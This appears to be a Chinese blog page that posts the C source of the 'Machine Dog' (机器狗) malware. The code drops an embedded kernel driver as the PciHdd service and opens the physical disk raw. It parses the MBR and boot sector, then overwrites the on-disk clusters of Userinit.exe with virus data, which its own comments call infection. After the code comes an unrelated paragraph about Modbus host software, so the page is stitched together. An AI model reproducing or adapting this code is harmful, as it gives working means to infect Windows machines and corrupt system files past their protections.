c语言软件清狗,机器狗源码(C语言的)

机器狗源码(C语言的)

// Test.cpp : 定义控制台应用程序的入口点。

//

#include "stdafx.h"

//==============================================================================

#include

typedef struct _PARTITION_ENTRY

{

UCHAR active;                 // 能否启动标志

UCHAR StartHead;               // 该分区起始磁头号

UCHAR StartSector;             // 起始柱面号高2位:6位起始扇区号

UCHAR StartCylinder;           // 起始柱面号低8位

UCHAR PartitionType;           // 分区类型

UCHAR EndHead;                 // 该分区终止磁头号

UCHAR EndSector;               // 终止柱面号高2位:6位终止扇区号

UCHAR EndCylinder;             // 终止柱面号低8位

ULONG StartLBA;               // 起始扇区号

ULONG TotalSector;             // 分区尺寸(总扇区数)

} PARTITION_ENTRY, *PPARTITION_ENTRY;

//==============================================================================

typedef struct _MBR_SECTOR

{

UCHAR             BootCode[446];

PARTITION_ENTRY   Partition[4];

USHORT           Signature;

} MBR_SECTOR, *PMBR_SECTOR;

//==============================================================================

typedef struct _BBR_SECTOR

{

USHORT JmpCode;               // 2字节跳转指令,跳转到引导代码

UCHAR   NopCode;               // 1字节nop指令,填充用,保证跳转指令长3个字节

UCHAR   OEMName[8];             // 8字节的OEMName

// 下面开始为: BPB( BIOS Parameter Block )

USHORT BytesPerSector;         // 每个扇区的字节数 (512 1024 2048 4096)

UCHAR   SectorsPerCluster;     // 每个簇的扇区数 ( 1 2 4 8 16 32 64 128 )两者相乘不能超过32K(簇最大大小)

USHORT ReservedSectors;       // 从卷的第一个扇区开始的保留扇区数目,该值不能为0,对于FAT12/FAT16,该值通常为1,对于FAT32,典型值为32

UCHAR   NumberOfFATs;           // 卷上FAT数据结构的数目,该值通常应为2,[NTFS不使用NumberOfFATs字段,必须为0]

USHORT RootEntries;           // 对于FAT12/FAT16,该值表示32字节目录项的数目,对于FAT32,该值必须为0;[NTFS不使用]

USHORT NumberOfSectors16;     // 该卷上的扇区总数,该字段可以为0,如果该字段为0,则NumberOfSectors32不能为0;对于FAT32,该字段必须为0 [FAT32/NTFS不使用该字段]

UCHAR   MediaDescriptor;       // 介质类型

USHORT SectorsPerFAT16;       // 该字段标识一个FAT结构占有的扇区数(FAT12/FAT16),对于FAT32卷,该字段必须为0;[FAT32/NTFS不使用该字段]

USHORT SectorsPerTrack;       // 用于INT 0x13中断的每个磁道的扇区数

USHORT HeadsPerCylinder;       // 用于INT 0x13中断的每个柱面的磁头数

ULONG   HiddenSectors;         // 包含该FAT卷的分区之前的隐藏扇区数

ULONG   NumberOfSectors32;     // 该字段包含该卷上的所有扇区数目,对于FAT32,该字段不为0;FAT12/FAT16可根据实际大小是否超过65536个扇区数决定是否采用该字段; [NTFS不使用该字段]

// 下面开始为: EBPB ( Extended BIOS Parameter Block )

ULONG   SectorsPerFAT32;       // 对于FAT32,该字段包含一个FAT的大小,而SectorsPerFAT16字段必须为0;

} BBR_SECTOR, *PBBR_SECTOR;

#include

#define PARTITION_TYPE_NTFS         0x07

#define PARTITION_TYPE_FAT32         0x0B

#define PARTITION_TYPE_FAT32_LBA     0x0C

//==============================================================================

#define STR_SYSFILE_PATH             TEXT("%SystemRoot%\\system32\\drivers\\pcihdd.sys")

#define STR_VIRFILE_PATH             TEXT("%SystemRoot%\\System32\\Userinit.exe")

#define STR_DSKDEVICE_NAME           TEXT("\\\\.\\PhysicalDrive0")

#define STR_HDDDEVICE_NAME           TEXT("\\\\.\\PhysicalHardDisk0")

//==============================================================================

#define IOCTL_MYDEV_BASE                 0xF000

#define IOCTL_MYDEV_Fun_0xF01           CTL_CODE(IOCTL_MYDEV_BASE, 0xF01, METHOD_BUFFERED, FILE_ANY_ACCESS)

//==============================================================================

DWORD InstallAndStartDriver(HMODULE ModuleHandle)

{

TCHAR           filePath[MAX_PATH];

HANDLE           fileHandle;

HRSRC           hSysRes;

DWORD           dwWritten;

DWORD           dwSysLen;

PVOID           lpSysBuf;

SC_HANDLE       hSCManager;

SC_HANDLE       hService;

SERVICE_STATUS   sService;

DWORD           errCode = ERROR_SUCCESS;

if(

(NULL == (hSysRes = FindResource(ModuleHandle, (LPCTSTR)1001, (LPCTSTR)1001)))

||

(0     == (dwSysLen = SizeofResource(ModuleHandle, hSysRes)))

||

(NULL == (lpSysBuf = LockResource(hSysRes)))

||

(0     == ExpandEnvironmentStrings(STR_SYSFILE_PATH, &filePath[0], sizeof(filePath)))

||

(INVALID_HANDLE_VALUE == (fileHandle = CreateFile(filePath, GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL)))

)

{

errCode = GetLastError();

goto FunExit00;

}

if(

!WriteFile(fileHandle, lpSysBuf, dwSysLen, &dwWritten, NULL)

||

!SetEndOfFile(fileHandle)

||

!FlushFileBuffers(fileHandle)

)

{

errCode = GetLastError();

}

CloseHandle(fileHandle);

if(ERROR_SUCCESS != errCode)

{

goto FunExit01;

}

if(NULL == (hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS)))

{

errCode = GetLastError();

goto FunExit01;

}

hService = CreateService(

hSCManager,

TEXT("PciHdd"),

TEXT("PciHdd"),

SERVICE_ALL_ACCESS,

SERVICE_KERNEL_DRIVER,

SERVICE_DEMAND_START,

SERVICE_ERROR_IGNORE,

filePath,

NULL,

NULL,

NULL,

NULL,

NULL

);

if(NULL != hService)

{

CloseServiceHandle(hService);

}

else

{

if(NULL != (hService = OpenService(hSCManager, TEXT("PciHdd"), SERVICE_ALL_ACCESS)))

{

ControlService(hService, SERVICE_CONTROL_STOP, &sService);

DeleteService(hService);

CloseServiceHandle(hService);

}

hService = CreateService(

hSCManager,

TEXT("PciHdd"),

TEXT("PciHdd"),

SERVICE_ALL_ACCESS,

SERVICE_KERNEL_DRIVER,

SERVICE_DEMAND_START,

SERVICE_ERROR_IGNORE,

filePath,

NULL,

NULL,

NULL,

NULL,

NULL

);

if(NULL != hService)

{

CloseServiceHandle(hService);

}

else

{

errCode = GetLastError();

goto FunExit02;

}

}

if(NULL == (hService = OpenService(hSCManager, TEXT("PciHdd"), SERVICE_START)))

{

errCode = GetLastError();

goto FunExit02;

}

StartService(hService, 0, NULL);

CloseServiceHandle(hService);

FunExit02:

CloseServiceHandle(hSCManager);

FunExit01:

DeleteFile(filePath);

FunExit00:

return errCode;

}

//==============================================================================

DWORD StopAndDeleteDriver(VOID)

{

TCHAR           filePath[MAX_PATH];

SC_HANDLE       hSCManager;

SC_HANDLE       hService;

SERVICE_STATUS   sService;

DWORD           errCode = ERROR_SUCCESS;

if(NULL == (hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS)))

{

errCode = GetLastError();

goto FunExit00;

}

if(NULL == (hService = OpenService(hSCManager, TEXT("PciHdd"), SERVICE_ALL_ACCESS)))

{

errCode = GetLastError();

goto FunExit01;

}

ControlService(hService, SERVICE_CONTROL_STOP, &sService);

DeleteService(hService);

CloseServiceHandle(hService);

FunExit01:

CloseServiceHandle(hSCManager);

FunExit00:

ExpandEnvironmentStrings(STR_SYSFILE_PATH, &filePath[0], sizeof(filePath));

DeleteFile(filePath);

return errCode;

}

//==============================================================================

// 感染硬盘第一个分区的指定的文件

//

// 1)通过FSCTL_GET_RETRIEVAL_POINTERS获取文件数据的分布 信息

//

// 2)通过直接访问硬盘(\\\\.\\PhysicalHardDisk0)的的MDR和第一个分区的引导扇区得到分区参数来定位文件。

//

// 3)通过对比ReadFile读取的文件数据和自己定位后直接 读取所得到的文件数据,确定定位是否正确

//

// 入口参数:

// 要感染的文件名(完整路径)

//

// Return value:

// Success -> NULL

// Failed   -> 指向出错信息的指针

//==============================================================================

DWORD WriteVirusToDisk(LPCTSTR VirusFile)

{

STARTING_VCN_INPUT_BUFFER   iVcnBuf;

UCHAR                       oVcnBuf[272];

PRETRIEVAL_POINTERS_BUFFER lpVcnBuf;

DWORD                       dwVcnExtents;

LARGE_INTEGER               startLcn;

PUCHAR                     lpClusterBuf;

DWORD                       dwClusterLen;

UCHAR                       dataBuf[512];

UCHAR                       diskBuf[512];

DWORD                       dataLen;

LARGE_INTEGER               diskPos;

PPARTITION_ENTRY           lpPartition;

ULONG                       dwPartitionStart;

ULONG                       dwPartitionType;

PBBR_SECTOR                 lpBootSector;

DWORD                       SectorsPerCluster;

HANDLE                     hHddDevice;

HANDLE                     hDskDevice;

HANDLE                     hVirusFile;

DWORD                       errCode = ERROR_SUCCESS;

if(INVALID_HANDLE_VALUE == (hHddDevice = CreateFileA(STR_HDDDEVICE_NAME, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL)))

{

errCode = GetLastError();

goto FunExit00;

}

//

if(INVALID_HANDLE_VALUE == (hVirusFile = CreateFileA(VirusFile, GENERIC_READ, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_NO_BUFFERING, NULL)))

{

errCode = GetLastError();

goto FunExit01;

}

iVcnBuf.StartingVcn.QuadPart = 0;

RtlZeroMemory(oVcnBuf, sizeof(oVcnBuf));

if(!DeviceIoControl(hVirusFile, FSCTL_GET_RETRIEVAL_POINTERS, &iVcnBuf, sizeof(iVcnBuf), &oVcnBuf[0], sizeof(oVcnBuf), &dataLen, NULL))

{

errCode = GetLastError();

goto FunExit02;

}

lpVcnBuf = (PRETRIEVAL_POINTERS_BUFFER)&oVcnBuf[0];

dwVcnExtents = lpVcnBuf->ExtentCount;

startLcn     = lpVcnBuf->Extents[0].Lcn;

if(!dwVcnExtents)

{

errCode = (ULONG)(-3); // 文件太小, 不能操作

goto FunExit02;

}

if(startLcn.QuadPart == -1)

{

errCode = (ULONG)(-4); // 该文件是压缩文件, 不能操作

goto FunExit02;

}

ReadFile(hVirusFile, dataBuf, sizeof(dataBuf), &dataLen, NULL);

// 打开第一个物理硬盘

if(INVALID_HANDLE_VALUE == (hDskDevice = CreateFileA(STR_DSKDEVICE_NAME, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL)))

{

errCode = GetLastError();

goto FunExit02;

}

// 读取硬盘第一个扇区(MBR)

SetFilePointer(hDskDevice, 0, NULL, FILE_BEGIN);

ReadFile(hDskDevice, diskBuf, sizeof(diskBuf), &dataLen, NULL);

lpPartition = &(((PMBR_SECTOR)&diskBuf[0])->Partition[0]);

if(lpPartition[0].active != 0x80)

{

errCode = (ULONG)(-1); // 分区不是启动分区

goto FunExit03;

}

dwPartitionType = lpPartition[0].PartitionType;

if(

dwPartitionType != PARTITION_TYPE_FAT32

&&

dwPartitionType != PARTITION_TYPE_FAT32_LBA

&&

dwPartitionType != PARTITION_TYPE_NTFS

)

{

errCode = (ULONG)(-2); // 不支持的磁盘分区

goto FunExit03;

}

dwPartitionStart = lpPartition[0].StartLBA;

diskPos.QuadPart = dwPartitionStart * 512;

// 读取启动分区的第一个扇区(启动扇区)

SetFilePointer(hDskDevice, diskPos.LowPart, &diskPos.HighPart, FILE_BEGIN);

ReadFile(hDskDevice, diskBuf, sizeof(diskBuf), &dataLen, NULL);

lpBootSector = (PBBR_SECTOR)&diskBuf[0];

SectorsPerCluster = lpBootSector->SectorsPerCluster;

// 根据FAT32/NTFS计算Userinit的起始簇的偏移量

diskPos.QuadPart = dwPartitionStart;

diskPos.QuadPart+= lpBootSector->ReservedSectors;

if(dwPartitionType == PARTITION_TYPE_FAT32 || dwPartitionType == PARTITION_TYPE_FAT32_LBA)

{

diskPos.QuadPart+= lpBootSector->NumberOfFATs * lpBootSector->SectorsPerFAT32;

}

diskPos.QuadPart+= startLcn.QuadPart * SectorsPerCluster;

diskPos.QuadPart*= 512;

// 检查文件寻址

SetFilePointer(hDskDevice, diskPos.LowPart, &diskPos.HighPart, FILE_BEGIN);

ReadFile(hDskDevice, diskBuf, sizeof(diskBuf), &dataLen, NULL);

if(!RtlEqualMemory(dataBuf, diskBuf, sizeof(diskBuf)))

{

errCode = (ULONG)(-5); // 寻址文件不成功

goto FunExit03;

}

// 分配缓冲

dwClusterLen = SectorsPerCluster*512;

lpClusterBuf = (PUCHAR)GlobalAlloc(GMEM_ZEROINIT, dwClusterLen); // 保存一个簇所要的缓冲

if(!lpClusterBuf)

{

errCode = GetLastError(); // 寻址文件不成功

goto FunExit03;

}

// 把Virus文件的数据从SYS文件资源段中解码出来

if(!DeviceIoControl(

hVirusFile,

IOCTL_MYDEV_Fun_0xF01,

(PVOID)0x00401000,         // 本执行文件代码段的开始, 在C语言中我不会表达

0x73E,                     // 本执行文件代码段的长度, 在C语言中我不会表达

lpClusterBuf,

dwClusterLen,

&dataLen,

NULL

))

{

errCode = GetLastError();

goto FunExit04;

}

// 写Virus文件的数据到磁盘

SetFilePointer(hDskDevice, diskPos.LowPart, &diskPos.HighPart, FILE_BEGIN);

WriteFile(hDskDevice, lpClusterBuf, dwClusterLen, &dataLen, NULL);

FlushFileBuffers(hDskDevice);

errCode = ERROR_SUCCESS;

FunExit04:

GlobalFree(lpClusterBuf);

FunExit03:

CloseHandle(hDskDevice);

FunExit02:

CloseHandle(hVirusFile);

FunExit01:

CloseHandle(hHddDevice);

FunExit00:

return errCode;

}

//==============================================================================

int _tmain(int argc, _TCHAR* argv[])

{

TCHAR           filePath[MAX_PATH];

DWORD           errCode;

if(ERROR_SUCCESS != (errCode = InstallAndStartDriver(GetModuleHandleA(NULL))))

{

MessageBox(NULL, TEXT("驱动程序的加载没有成功,程序将无法运行"), NULL, MB_ICONERROR);

goto FunExit00;

}

ExpandEnvironmentStrings(STR_VIRFILE_PATH, &filePath[0], sizeof(filePath));

WriteVirusToDisk(filePath);

StopAndDeleteDriver();

FunExit00:

return 0;

}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
C语言是一种广泛应用于嵌入式系统、工控领域以及其他计算机领域的编程语言。Modbus是一种通信协议,常用于工业自动化领域的设备之间进行通信。 Modbus上位机软件源码是指使用C语言编写的用于实现Modbus通信功能的上位机软件的源代码。该软件可以通过Modbus协议与一台或多台设备进行通信,获取设备的状态、实时数据以及控制设备等功能。 Modbus上位机软件源码通常包含以下几个重要部分: 1. Modbus通信库:这是实现Modbus通信协议的关键部分。通常使用C语言编写的Modbus库,可以处理Modbus协议帧的解析、数据读写等操作。 2. 用户界面:通过用户界面,用户可以方便地与设备进行交互。用户界面可以使用图形界面或者命令行界面等形式,提供设备连接、数据读取、数据显示以及控制操作等功能。 3. 数据处理模块:该模块用于处理从设备获取到的数据。它可以对数据进行解析、格式转换、数据存储等操作。数据处理模块还可以实现数据分析、报表生成等功能。 4. 设备管理模块:该模块用于管理与设备的连接和通信。它可以包括设备搜索、连接参数设置、连接状态监测和自动断线重连等功能。 通过使用Modbus上位机软件源码,可以方便地实现与Modbus设备的通信。用户可以根据实际需要修改源码,添加新的功能或者适配不同的设备。 总的来说,C语言编写的Modbus上位机软件源码能够帮助用户实现与Modbus设备的通信,并提供了丰富的功能来满足用户的需求。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值